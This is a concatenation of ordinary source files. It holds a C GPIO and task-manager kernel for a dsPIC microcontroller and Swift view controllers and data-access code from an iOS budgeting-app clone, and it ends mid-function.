GPIO_INPUT = 1,
GPIO_OUTPUT = 0,
GPIO_ANALOG = 2
} gpio_type_t;
/// Generic definition for register
typedef volatile unsigned int * REGISTER;
/**
* Hardware bit
* - Register
* - Mask with selected bit
*/
typedef struct _hardware_bit {
REGISTER REG;
unsigned int CS_mask;
} hardware_bit_t;
/**
*
*/
typedef short gpio_name_t;
/**
*
*/
typedef struct _gpio_port {
uint8_t len;
int16_t port;
} gpio_port_t;
/**
*
*/
typedef struct _gpio {
REGISTER CS_TRIS;
REGISTER CS_PORT;
REGISTER CS_LAT;
unsigned int CS_mask;
gpio_type_t type;
} gpio_t;
/**
*
*/
typedef struct _gp_analog {
unsigned short number;
int value;
} gp_analog_t;
/**
*
*/
typedef struct _gp_common {
gp_analog_t* analog;
hardware_bit_t* generic;
} gp_common_t;
/**
*
*/
typedef struct _gp_peripheral {
gpio_t gpio;
gp_common_t common;
} gp_peripheral_t;
/**
*
*/
typedef struct _gp_port_def {
gp_peripheral_t* gpio;
size_t len;
} gp_port_def_t;
/******************************************************************************/
/* System Function Prototypes */
/******************************************************************************/
/**
*
* @param gpio
* @param len
*/
bool gpio_init(hardware_bit_t* analog_on, hardware_bit_t* dma_on, REGISTER analog, gpio_adc_callbackFunc_t call, int len, ...);
/**
*
* @param port
*/
void gpio_register(gpio_t* port);
/**
*
* @param port
*/
bool gpio_register_peripheral(gp_peripheral_t* port);
/**
*
* @param port
* @param type
*/
void gpio_setup(gpio_name_t name, uint16_t port, gpio_type_t type);
/**
*
* @param name
* @param port
* @return
*/
gpio_type_t gpio_config(gpio_name_t name, short port);
/**
*
* @param gpioIdx
* @return
*/
int gpio_get_analog(gpio_name_t name, short gpioIdx);
/**
*
* @return
*/
gpio_port_t gpio_get(gpio_name_t name);
/**
*
* @param port
* @return
*/
void gpio_set(gpio_name_t name, gpio_port_t port);
/**
*
* @param idx
* @param value
*/
inline void gpio_ProcessADCSamples(short idx, int value);
#ifdef __cplusplus
}
#endif
#endif /* GPIO_H */
<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
/******************************************************************************/
/* Files to Include */
/******************************************************************************/
#include "peripherals/gpio.h"
/******************************************************************************/
/* Global Variable Declaration */
/******************************************************************************/
REGISTER ANALOG;
hardware_bit_t* ANA_ON;
hardware_bit_t* DMA_ON;
//gp_peripheral_t* GPIO_PORTS;
gp_port_def_t* GPIO_PORTS[10];
size_t LEN;
gpio_adc_callbackFunc_t gpio_callback;
int *indirect_reference[10];
unsigned int count_analog_gpio = 0;
/*****************************************************************************/
/* Communication Functions */
/*****************************************************************************/
bool gpio_init(hardware_bit_t* analog_on, hardware_bit_t* dma_on, REGISTER analog, gpio_adc_callbackFunc_t call, int argc, ...) {
ANA_ON = analog_on;
DMA_ON = dma_on;
ANALOG = analog;
REGISTER_MASK_SET_HIGH(ANALOG, 0xFFFF);
va_list argp;
gpio_callback = call;
int counter_port, i;
bool state = true;
va_start(argp, argc);
for(counter_port = 0; counter_port < argc; ++counter_port) {
GPIO_PORTS[counter_port] = va_arg(argp, gp_port_def_t*);
for(i = 0; i < GPIO_PORTS[counter_port]->len; ++i) {
state &= gpio_register_peripheral(&GPIO_PORTS[counter_port]->gpio[i]);
}
}
return state;
}
void gpio_register(gpio_t* port) {
switch(port->type) {
case GPIO_INPUT:
REGISTER_MASK_SET_HIGH(port->CS_TRIS, port->CS_mask);
break;
case GPIO_OUTPUT:
REGISTER_MASK_SET_LOW(port->CS_TRIS, port->CS_mask);
break;
default:
break;
}
}
bool gpio_register_peripheral(gp_peripheral_t* port) {
switch(port->gpio.type) {
case GPIO_INPUT:
if(port->common.analog != GPIO_NO_PERIPHERAL) {
REGISTER_MASK_SET_HIGH(ANALOG, BIT_MASK(port->common.analog->number));
indirect_reference[port->common.analog->number] = NULL;
count_analog_gpio--;
}
REGISTER_MASK_SET_HIGH(port->gpio.CS_TRIS, port->gpio.CS_mask);
break;
case GPIO_OUTPUT:
if(port->common.analog != GPIO_NO_PERIPHERAL) {
REGISTER_MASK_SET_HIGH(ANALOG, BIT_MASK(port->common.analog->number));
indirect_reference[port->common.analog->number] = NULL;
count_analog_gpio --;
}
REGISTER_MASK_SET_LOW(port->gpio.CS_TRIS, port->gpio.CS_mask);
break;
case GPIO_ANALOG:
REGISTER_MASK_SET_HIGH(port->gpio.CS_TRIS, port->gpio.CS_mask);
// Set analog the device
if(port->common.analog != GPIO_NO_PERIPHERAL) {
REGISTER_MASK_SET_LOW(ANALOG, BIT_MASK(port->common.analog->number));
indirect_reference[port->common.analog->number] = &port->common.analog->value;
count_analog_gpio++;
}
break;
}
return true;
}
bool gpio_setup_pin(gpio_name_t name, short gpioIdx, gpio_type_t type) {
if(GPIO_PORTS[name]->gpio[gpioIdx].gpio.type != type) {
GPIO_PORTS[name]->gpio[gpioIdx].gpio.type = type;
return gpio_register_peripheral(&GPIO_PORTS[name]->gpio[gpioIdx]);
}
return false;
}
void gpio_setup(gpio_name_t name, uint16_t port, gpio_type_t type) {
int i;
int len = GPIO_PORTS[name]->len;
bool set = true;
if(type == GPIO_ANALOG) {
REGISTER_MASK_SET_LOW(ANA_ON->REG, ANA_ON->CS_mask);
REGISTER_MASK_SET_LOW(DMA_ON->REG, DMA_ON->CS_mask);
}
for (i = 0; i < len; ++i) {
if(REGISTER_MASK_READ(&port, BIT_MASK(i))) {
set &= gpio_setup_pin(name, i, type);
}
}
if(set && (type == GPIO_ANALOG)) {
// RUN ADC initializer
gpio_callback();
REGISTER_MASK_SET_HIGH(ANA_ON->REG, ANA_ON->CS_mask);
REGISTER_MASK_SET_HIGH(DMA_ON->REG, DMA_ON->CS_mask);
}
}
gpio_type_t gpio_config(gpio_name_t name, short port) {
return GPIO_PORTS[name]->gpio[port].gpio.type;
}
int gpio_get_analog(gpio_name_t name, short gpioIdx) {
if(GPIO_PORTS[name]->gpio[gpioIdx].gpio.type == GPIO_ANALOG) {
return GPIO_PORTS[name]->gpio[gpioIdx].common.analog->value;
} else
return 0;
}
gpio_port_t gpio_get(gpio_name_t name) {
gpio_port_t port;
int i;
port.port = 0;
port.len = GPIO_PORTS[name]->len;
for (i = 0; i < port.len; ++i) {
switch (GPIO_PORTS[name]->gpio[i].gpio.type) {
case GPIO_INPUT:
if(REGISTER_MASK_READ(GPIO_PORTS[name]->gpio[i].gpio.CS_PORT, GPIO_PORTS[name]->gpio[i].gpio.CS_mask))
port.port += BIT_MASK(i);
break;
case GPIO_OUTPUT:
if(REGISTER_MASK_READ(GPIO_PORTS[name]->gpio[i].gpio.CS_LAT, GPIO_PORTS[name]->gpio[i].gpio.CS_mask))
port.port += BIT_MASK(i);
break;
default:
break;
}
}
return port;
}
void gpio_set(gpio_name_t name, gpio_port_t port) {
int i;
int len = GPIO_PORTS[name]->len;
for(i = 0; i < len; ++i) {
if(GPIO_PORTS[name]->gpio[i].gpio.type == GPIO_OUTPUT) {
if(REGISTER_MASK_READ(&port.port, BIT_MASK(i))) {
REGISTER_MASK_SET_HIGH(GPIO_PORTS[name]->gpio[i].gpio.CS_LAT, GPIO_PORTS[name]->gpio[i].gpio.CS_mask);
} else {
REGISTER_MASK_SET_LOW(GPIO_PORTS[name]->gpio[i].gpio.CS_LAT, GPIO_PORTS[name]->gpio[i].gpio.CS_mask);
}
}
}
}
inline void gpio_ProcessADCSamples(short idx, int value) {
*(indirect_reference[idx]) = value;
}
<file_sep>/*
* Copyright (C) 2014-2015 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef TASK_MANAGER_H
#define TASK_MANAGER_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stdarg.h>
#include "system/events.h"
#include "system/modules.h"
/******************************************************************************/
/* System Level #define Macros */
/******************************************************************************/
/// Invalid handle for event
#define INVALID_TASK_HANDLE 0xFFFF
/// Invalid handle for event
#define INVALID_FREQUENCY 0xFFFFFFFF
/// Definition of Task
typedef uint16_t hTask_t;
/// time function in [uS]
typedef int16_t time_t;
/**
* Definition status task:
* STOP - The task is loaded, but does not work
* RUN - The task is loaded and working
*/
typedef enum _task_status {
STOP,
RUN,
} task_status_t;
/**
* Structure definition of task:
* * task number
* * frequency of this task
*/
typedef struct _task {
hTask_t task;
frequency_t frequency;
} task_t;
/******************************************************************************/
/* System Function Prototypes */
/******************************************************************************/
/**
* Initialization task manager
* @param timer_frequency frequency timer
*/
void task_init(frequency_t timer_frequency);
/**
* Load event in task manager, with a frequency and arguments to lanch when started
* @param hEvent number event
* @param frequency frequency to automatic start
* @return number task
*/
hTask_t task_load(hEvent_t hEvent, frequency_t frequency);
/**
* Load event in task manager, with a frequency and arguments to lanch when started
* @param hEvent number event
* @param frequency frequency to automatic start
* @param argc number arguments
* @param argv arguments
* @return number task
*/
hTask_t task_load_data(hEvent_t hEvent, frequency_t frequency, int argc, ...);
/**
* Set tast to run or stop
* @param hTask number task
* @param run RUN or STOP
* @return if task is correct return true
*/
bool task_set(hTask_t hTask, task_status_t run);
/**
* Change frequency operation
* @param hTask number task
* @param frequency new frequency
* @return if frequency is minor to timer frequncy return true
*/
bool task_set_frequency(hTask_t hTask, frequency_t frequency);
/**
* Unload task and remove from task avaliable
* @param hTask Number task
* @return if task exist
*/
bool task_unload(hTask_t hTask);
/**
* Return associated number module name
* @param taskIndex number task
* @return number module
*/
hModule_t task_get_name(hTask_t taskIndex);
/**
* Number of registered tasks
* @return number task
*/
unsigned short get_task_number(void);
/**
* This function you must call in timer function
*/
inline void task_manager(void);
#ifdef __cplusplus
}
#endif
#endif /* TASK_MANAGER_H */
<file_sep>/*
* Copyright (C) 2014-2016 Officine Robotiche
* Author: <NAME>
* email: <EMAIL>
* Permission is granted to copy, distribute, and/or modify this program
* under the terms of the GNU Lesser General Public License, version 2 or any
* later version published by the Free Software Foundation.
*
* A copy of the license can be found at
* https://www.gnu.org/licenses/old-licenses/lgpl-2.1.html
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
* Public License for more details
*/
#ifndef XC_HEADER_TEMPLATE_H
#define XC_HEADER_TEMPLATE_H
#ifdef __cplusplus
extern "C" {
#endif /* __cplusplus */
#include <stdint.h> /* Includes uint16_t definition */
#include <stdbool.h> /* Includes true/false definition */
#include "events.h"
/******************************************************************************/
/* System Level #define Macros */
/******************************************************************************/
typedef struct _timer {
uint32_t time;
uint32_t counter;
} soft_timer_t;
/******************************************************************************/
/* System Function Prototypes */
/******************************************************************************/
/**
* Initialize a soft timer. This timer works in a real time routine
* @param timer the timer
* @param frequency main frequency
* @param time timer to set the timer
* @return return true if registered
*/
bool init_soft_timer(soft_timer_t *timer, frequency_t frequency, uint32_t time);
/**
* Reset the timer to zero
* @param timer the timer
*/
void reset_timer(soft_timer_t *timer);
/**
* Run the timer and check if is in time
* @param timer the timer
* @return return true if is in time
*/
bool __attribute__((always_inline)) run_timer(soft_timer_t *timer);
#ifdef __cplusplus
}
#endif /* __cplusplus */
#endif /* XC_HEADER_TEMPLATE_H */
<file_sep># ![Officine Robotiche][Logo] - or_kernel_c.X [](https://travis-ci.org/officinerobotiche/or_kernel_c.X) [](http://waffle.io/officinerobotiche/uNAV.X)[](https://gitter.im/officinerobotiche/uNAV.X?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge)
This is a project in development by [Officine Robotiche] to control motors.
Kernel to control task and system in a dspic microcontroller
## Throughput Graph
[](https://waffle.io/officinerobotiche/uNAV.X/metrics/throughput)
Developer [*<NAME>*](http://rnext.it)
[wiki]:http://wiki.officinerobotiche.it/
[Officine Robotiche]:http://www.officinerobotiche.it/
[Logo]:http://2014.officinerobotiche.it/wp-content/uploads/sites/4/2014/09/ORlogoSimpleSmall.png
| 46b4d98d8d624fba992be2b1faf28ff592837352 | [
"Markdown",
"C"
] | 17 | C | officinerobotiche/or_kernel_c.X | 7dc08dfdbfc1917f24c36f18a9799628abf2868d | 7a7cdeca3561143133da5c1de63353170bb837b2 |
refs/heads/main | <repo_name>msk7529/CloneApp<file_sep>/WepleMoneyClone/WepleMoneyClone/SingleTon.swift
//
// SingleTon.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/09.
//
import Foundation
class SingleTon {
static let shared: SingleTon = SingleTon()
var selectedDate: Date?
private init() {}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthlyView(Main)/ViewController/MonthViewController+UITableView.swift
//
// MonthViewController+UITableView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import Foundation
import UIKit
extension MonthViewController: UITableViewDelegate, UITableViewDataSource {
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
guard let tableView = tableView as? DailyHistoryInfoTableView else { return 0 }
if tableView.status == .empty {
return 1
} else {
return tableView.expenseInfo.count + tableView.incomeInfo.count
}
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
if let tableView = tableView as? DailyHistoryInfoTableView {
if tableView.status == .notEmpty {
guard let cell = tableView.dequeueReusableCell(withIdentifier: DailyHistoryInfoTableViewCell.identifier, for: indexPath) as? DailyHistoryInfoTableViewCell else {
return UITableViewCell()
}
cell.selectionStyle = .none
if tableView.incomeInfo.isEmpty == true {
cell.expenseInfo = tableView.expenseInfo[indexPath.row]
} else {
if indexPath.row < tableView.incomeInfo.count {
cell.incomeInfo = tableView.incomeInfo[indexPath.row]
} else {
cell.expenseInfo = tableView.expenseInfo[tableView.expenseInfo.count - indexPath.row]
}
}
return cell
} else {
guard let cell = tableView.dequeueReusableCell(withIdentifier: DailyHistoryInfoTableViewEmptyCell.identifier, for: indexPath) as? DailyHistoryInfoTableViewEmptyCell else {
return UITableViewCell()
}
cell.selectionStyle = .none
return cell
}
}
return UITableViewCell()
}
func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
guard let tableView = tableView as? DailyHistoryInfoTableView else { return 0 }
if tableView.status == .empty {
return tableView.frame.size.height
} else {
return DailyHistoryInfoTableViewCell.height
}
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
if let ReceiptDetailVC = self.storyboard?.instantiateViewController(identifier: "ReceiptDetailViewController") as? ReceiptDetailViewController {
if let cell = tableView.cellForRow(at: indexPath) as? DailyHistoryInfoTableViewCell {
ReceiptDetailVC.expenseInfo = cell.expenseInfo
ReceiptDetailVC.incomeInfo = cell.incomeInfo
self.navigationController?.pushViewController(ReceiptDetailVC, animated: true)
}
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/DailyHistoryInfoTableViewEmptyCell.swift
//
// DailyHistoryInfoTableViewEmptyCell.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/29.
//
import UIKit
import Foundation
final class DailyHistoryInfoTableViewEmptyCell: UITableViewCell {
static let identifier: String = "DailyHistoryInfoTableViewEmptyCell"
private lazy var emptyLabel: UILabel = {
let emptyLabel: UILabel = UILabel(frame: .zero)
emptyLabel.translatesAutoresizingMaskIntoConstraints = false
emptyLabel.backgroundColor = .clear
emptyLabel.text = "데이터가 없습니다."
emptyLabel.font = UIFont.systemFont(ofSize: UIFont.systemFontSize)
emptyLabel.textColor = .systemGray
return emptyLabel
}()
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
makeUI()
}
required init?(coder: NSCoder) {
fatalError("init(coder:) has not been implemented")
}
private func makeUI() {
self.contentView.addSubview(emptyLabel)
emptyLabel.centerXAnchor.constraint(equalTo: self.contentView.centerXAnchor).isActive = true
emptyLabel.centerYAnchor.constraint(equalTo: self.contentView.centerYAnchor).isActive = true
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/MonthlyView(Main)/ViewController/MonthCalendarViewController.swift
//
// MonthCalendarViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import Foundation
import UIKit
final class MonthCalendarViewController: UIViewController {
lazy var calendarView: MonthCalendarCollectionView = {
let calendarView: MonthCalendarCollectionView = MonthCalendarCollectionView(frame: .zero, collectionViewLayout: UICollectionViewFlowLayout())
calendarView.backgroundColor = .clear
calendarView.translatesAutoresizingMaskIntoConstraints = false
calendarView.isScrollEnabled = false
return calendarView
}()
lazy var dateformatter: DateFormatter = {
let dateformatter: DateFormatter = DateFormatter()
dateformatter.dateFormat = "yyyy MM dd"
dateformatter.timeZone = TimeZone(abbreviation: "UTC")
return dateformatter
}()
var currentYear: Int? {
didSet {
if let currentYear = currentYear {
calendarView.currentYear = currentYear
}
}
}
var currentMonth: Int? {
didSet {
if let currentMonth = currentMonth {
calendarView.currentMonth = currentMonth
}
}
}
var currentDay: Int? {
didSet {
if let currentDay = currentDay {
calendarView.currentDay = currentDay
}
}
}
var expenseInfoList: [ExpenseInfoModel] = [] {
didSet {
calendarView.expenseInfoList = expenseInfoList
}
}
var incomeInfoList: [IncomeInfoModel] = [] {
didSet {
calendarView.incomeInfoList = incomeInfoList
}
}
var showDailyHistoryInfo: (([ExpenseInfoModel], [IncomeInfoModel]) -> Void)?
var reloadDailyHistoryInfoIfNeeded: (([ExpenseInfoModel], [IncomeInfoModel]) -> Void)?
var showMonthlyIncomeExpenseMoney: ((Int32, Int32, Int32, Int32) -> Void)?
var goNextPage: ((Int, Int) -> Void)?
var goPreviousPage: ((Int, Int) -> Void)?
private var expenseDAO: ExpenseDAO = ExpenseDAO()
private var incomeDAO: IncomeDAO = IncomeDAO()
override func viewDidLoad() {
super.viewDidLoad()
self.view.addSubview(calendarView)
calendarView.topAnchor.constraint(equalTo: self.view.topAnchor).isActive = true
calendarView.leftAnchor.constraint(equalTo: self.view.leftAnchor).isActive = true
calendarView.rightAnchor.constraint(equalTo: self.view.rightAnchor).isActive = true
calendarView.bottomAnchor.constraint(equalTo: self.view.bottomAnchor).isActive = true
self.calendarView.delegate = self
self.calendarView.dataSource = self
self.calendarView.register(MonthCalendarCollectionViewCell.self, forCellWithReuseIdentifier: MonthCalendarCollectionViewCell.identifier)
NotificationCenter.default.addObserver(self, selector: #selector(didReceiveAddHistoryNotification(_:)), name: NSNotification.Name("AddHistoryNotification"), object: nil) // 입금/지출 등록후, 모달이 모두 닫히고 돌아왔을때 캘린더뷰에 등록된 내역이 노출되지 않는문제.
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
self.calendarView.reloadData() // 뷰컨 페이징시 콜렉션뷰 선택된 셀 초기화되지 않는 문제.
let selectedDate: Date? = SingleTon.shared.selectedDate
if selectedDate != nil {
// 앱 첫 실행후, 오늘날짜에 해당하는 테이블뷰가 노출되지 않는 문제해결을 위한 처리
let selectedDateFetchExpenseInfoResult: [ExpenseInfoModel] = expenseDAO.fetchAtCertainDate(date: selectedDate!)
let selectedDateFetchIncomeInfoResult: [IncomeInfoModel] = incomeDAO.fetchAtCertainDate(date: selectedDate!)
self.reloadDailyHistoryInfoIfNeeded?(selectedDateFetchExpenseInfoResult, selectedDateFetchIncomeInfoResult)
}
// 월간 지출/수입금액을 계산하여 MonthVC에 넘긴다.
var expensePrices: [Int32] = self.expenseInfoList.map { $0.price ?? 0 }
let totalExpense: Int32 = expensePrices.reduce(0, { $0 + $1 })
expensePrices = self.expenseInfoList.filter { $0.payment == "현금" }.map { $0.price ?? 0 }
let totalCashExpense: Int32 = expensePrices.reduce(0, { $0 + $1 })
let totalCardExpense: Int32 = totalExpense - totalCashExpense
let incomePrices: [Int32] = self.incomeInfoList.map { $0.price ?? 0 }
let totalIncome: Int32 = incomePrices.reduce(0, { $0 + $1 })
self.showMonthlyIncomeExpenseMoney?(totalExpense, totalCashExpense, totalCardExpense, totalIncome)
}
deinit {
print("###current MonthCalenderVC deinit. \(currentYear!)년 \(currentMonth!)월###")
NotificationCenter.default.removeObserver(self, name: NSNotification.Name("AddHistoryNotification"), object: nil)
}
@objc private func didReceiveAddHistoryNotification(_ notification: Notification) {
if currentYear == nil || currentMonth == nil { return }
print("###didReceiveAddHistoryNotification###")
print("\(currentYear!)년 \(currentMonth!)월")
let fetchExpenseInfoResult: [ExpenseInfoModel] = expenseDAO.fetch(yearMonth: "\(String(describing: currentYear!))\(String(format: "%02d", currentMonth!))")
let fetchIncomeInfoResult: [IncomeInfoModel] = incomeDAO.fetch(yearMonth: "\(String(describing: currentYear!))\(String(format: "%02d", currentMonth!))")
self.expenseInfoList = fetchExpenseInfoResult
self.incomeInfoList = fetchIncomeInfoResult
let filterSelectedDayFetchExpenseInfoResult: [ExpenseInfoModel] = fetchExpenseInfoResult.filter { $0.date == SingleTon.shared.selectedDate }
let filterSelectedDayFetchIncomeInfoResult: [IncomeInfoModel] = fetchIncomeInfoResult.filter { $0.date == SingleTon.shared.selectedDate }
self.reloadDailyHistoryInfoIfNeeded?(filterSelectedDayFetchExpenseInfoResult, filterSelectedDayFetchIncomeInfoResult)
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Category/IncomeCategory.swift
//
// IncomeCategory.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/13.
//
import Foundation
struct IncomeCategory {
static let category: [String] = ["월급", "용돈", "이월", "기타", "자산인출", "Add"]
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Category/ExpenseCategory.swift
//
// ExpenseCategoryCollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import Foundation
struct ExpenseCategory {
static let category: [String] = ["식비", "미용", "경조사", "기타", "교통비", "의료/건강", "저축", "데이트비", "문화생활", "교육", "가전", "메엠", "생필품", "통신비", "공과금", "유흥", "의류", "회비", "카드대금", "회식", "쇼핑", "여행", "펀드", "주식계좌", "Add"]
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/DayCollectionView.swift
//
// DayCollectionView.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/04.
//
import Foundation
import UIKit
final class DayCollectionView: UICollectionView {
static let dayCount: Int = 7
static let daySringArr: [String] = ["월", "화", "수", "목", "금", "토", "일"]
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/AddHistory/ViewController/SelectExpenseCategoryViewController.swift
//
// SelectCategoryViewController.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import UIKit
final class SelectExpenseCategoryViewController: UIViewController {
lazy var backButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setImage(UIImage(named: "backButton"), for: .normal)
button.setImage(UIImage(named: "backButton"), for: .highlighted)
button.addTarget(self, action: #selector(backButtonDidTap), for: .touchUpInside)
return button
}()
lazy var moneyLabel: UILabel = {
let moneyLabel: UILabel = UILabel()
moneyLabel.text = "0원"
moneyLabel.font = UIFont.systemFont(ofSize: 23)
moneyLabel.textColor = UIColor(rgb: 0xFBA3CF)
moneyLabel.textAlignment = .left
moneyLabel.translatesAutoresizingMaskIntoConstraints = false
return moneyLabel
}()
lazy var closeButton: UIButton = {
let button: UIButton = UIButton(frame: .zero)
button.translatesAutoresizingMaskIntoConstraints = false
button.setImage(UIImage(named: "closeButton"), for: .normal)
button.addTarget(self, action: #selector(closeButtonDidTap), for: .touchUpInside)
return button
}()
lazy var InfoTextFiled: UITextField = {
let InfoTextFiled: UITextField = UITextField(frame: .zero)
InfoTextFiled.translatesAutoresizingMaskIntoConstraints = false
InfoTextFiled.borderStyle = .none
InfoTextFiled.textColor = .systemGray
InfoTextFiled.font = UIFont.systemFont(ofSize: 23)
InfoTextFiled.textAlignment = .left
InfoTextFiled.keyboardType = .default
InfoTextFiled.placeholder = "내역"
InfoTextFiled.becomeFirstResponder()
return InfoTextFiled
}()
lazy var expenseCategoryCollectionView: UICollectionView = {
let layout: UICollectionViewFlowLayout = UICollectionViewFlowLayout()
layout.scrollDirection = .horizontal
let expenseCategoryCollectionView: UICollectionView = UICollectionView(frame: .zero, collectionViewLayout: layout)
expenseCategoryCollectionView.backgroundColor = .clear
expenseCategoryCollectionView.translatesAutoresizingMaskIntoConstraints = false
expenseCategoryCollectionView.isScrollEnabled = true
expenseCategoryCollectionView.showsHorizontalScrollIndicator = false // 스크롤바 안보이게 처리
return expenseCategoryCollectionView
}()
var dataModel: ExpenseInfoModel? {
didSet {
moneyLabel.text = String(dataModel?.price ?? 0) + "원"
}
}
override func viewDidLoad() {
super.viewDidLoad()
expenseCategoryCollectionView.delegate = self
expenseCategoryCollectionView.dataSource = self
self.expenseCategoryCollectionView.register(ExpenseCategoryCollectionViewCell.self, forCellWithReuseIdentifier: ExpenseCategoryCollectionViewCell.identifier)
makeUI()
}
override func viewDidLayoutSubviews() {
// Layer 추가는 레이아웃에 걸린 addSubview 같은 것들이 모두 완료된 후에 호출되어야한다. lazy 프로퍼티 초기화시나 makeUI에서 추가해주면 노출 안됨.
let border: CALayer = CALayer()
border.frame = CGRect(x: 0, y: InfoTextFiled.frame.size.height-1, width: InfoTextFiled.frame.width, height: 1)
border.backgroundColor = UIColor.systemGray.cgColor
InfoTextFiled.layer.addSublayer(border)
}
private func makeUI() {
self.view.addSubview(backButton)
self.view.addSubview(moneyLabel)
self.view.addSubview(closeButton)
self.view.addSubview(InfoTextFiled)
self.view.addSubview(expenseCategoryCollectionView)
backButton.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 10).isActive = true
backButton.leftAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.leftAnchor, constant: 15).isActive = true
moneyLabel.topAnchor.constraint(equalTo: backButton.topAnchor, constant: -3).isActive = true
moneyLabel.leftAnchor.constraint(equalTo: backButton.rightAnchor, constant: 27).isActive = true
closeButton.topAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.topAnchor, constant: 10).isActive = true
closeButton.rightAnchor.constraint(equalTo: self.view.safeAreaLayoutGuide.rightAnchor, constant: -20).isActive = true
InfoTextFiled.topAnchor.constraint(equalTo: self.backButton.bottomAnchor, constant: 15).isActive = true
InfoTextFiled.leftAnchor.constraint(equalTo: self.backButton.leftAnchor, constant: 3).isActive = true
InfoTextFiled.rightAnchor.constraint(equalTo: self.closeButton.rightAnchor, constant: 0).isActive = true
InfoTextFiled.heightAnchor.constraint(equalToConstant: 45).isActive = true
expenseCategoryCollectionView.topAnchor.constraint(equalTo: self.InfoTextFiled.bottomAnchor, constant: 15).isActive = true
expenseCategoryCollectionView.leftAnchor.constraint(equalTo: InfoTextFiled.leftAnchor).isActive = true
expenseCategoryCollectionView.rightAnchor.constraint(equalTo: InfoTextFiled.rightAnchor).isActive = true
expenseCategoryCollectionView.heightAnchor.constraint(greaterThanOrEqualToConstant: ExpenseCategoryCollectionViewCell.height * 4 + 30).isActive = true
}
@objc private func backButtonDidTap() {
let transition: CATransition = CATransition()
transition.duration = 0.3
transition.type = CATransitionType.push
transition.subtype = CATransitionSubtype.fromLeft
transition.timingFunction = CAMediaTimingFunction(name:CAMediaTimingFunctionName.easeInEaseOut)
self.view.window!.layer.add(transition, forKey: kCATransition)
self.dismiss(animated: false)
}
@objc private func closeButtonDidTap() {
var currentVC: UIViewController? = self // 현재 뷰컨
while(currentVC != nil) {
let tmpVC: UIViewController? = currentVC?.presentingViewController // 현재 뷰컨을 present시킨 뷰컨
if(tmpVC?.presentedViewController == nil) { // tmpVC에 의해 present 되어진 뷰컨
currentVC?.dismiss(animated: true, completion: nil)
break
}
currentVC = tmpVC
}
}
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Model/InfoModel.swift
//
// InfoModel.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/14.
//
import UIKit
import CoreData
class InfoModel {
var date: Date?
var createAt: Date?
var price: Int32?
var info: String?
var memo: String?
var category: String?
var repeatCycle: String?
var photo: UIImage?
var yearMonth: String? // 몇년도 몇월의 history인지 판별하기 위한 속성 ex) "202101"
var objectID: NSManagedObjectID? // 원본 ExpenseInfo 객체를 참조하기 위한 속성
}
<file_sep>/WepleMoneyClone/WepleMoneyClone/Model/ExpenseDAO.swift
//
// ExpenseDAO.swift
// WepleMoneyClone
//
// Created by kakao on 2021/01/12.
//
import UIKit
import CoreData
final class ExpenseDAO {
lazy var context: NSManagedObjectContext = {
let appDelegate: AppDelegate = UIApplication.shared.delegate as! AppDelegate
return appDelegate.persistentContainer.viewContext
}()
func fetch(yearMonth: String) -> [ExpenseInfoModel] {
var expenseInfoList: [ExpenseInfoModel] = []
let fetchRequest: NSFetchRequest<ExpenseInfo> = ExpenseInfo.fetchRequest() // 요청 객체 생성. fetchRequest 메서드는 NSManagedObject와 ExpenseInfo 클래스에서 각각 정의되있고 이들은 오버라이드 관계가 아니어서 서로 다른 타입을 반환하게 된다. 따라서 타입 어노테이션을 누락하면 컴파일 에러가 발생
let regdateDesc: NSSortDescriptor = NSSortDescriptor(key: "createAt", ascending: false) // 최신 내역 순으로 정렬하도록 정렬 객체 생성
fetchRequest.sortDescriptors = [regdateDesc]
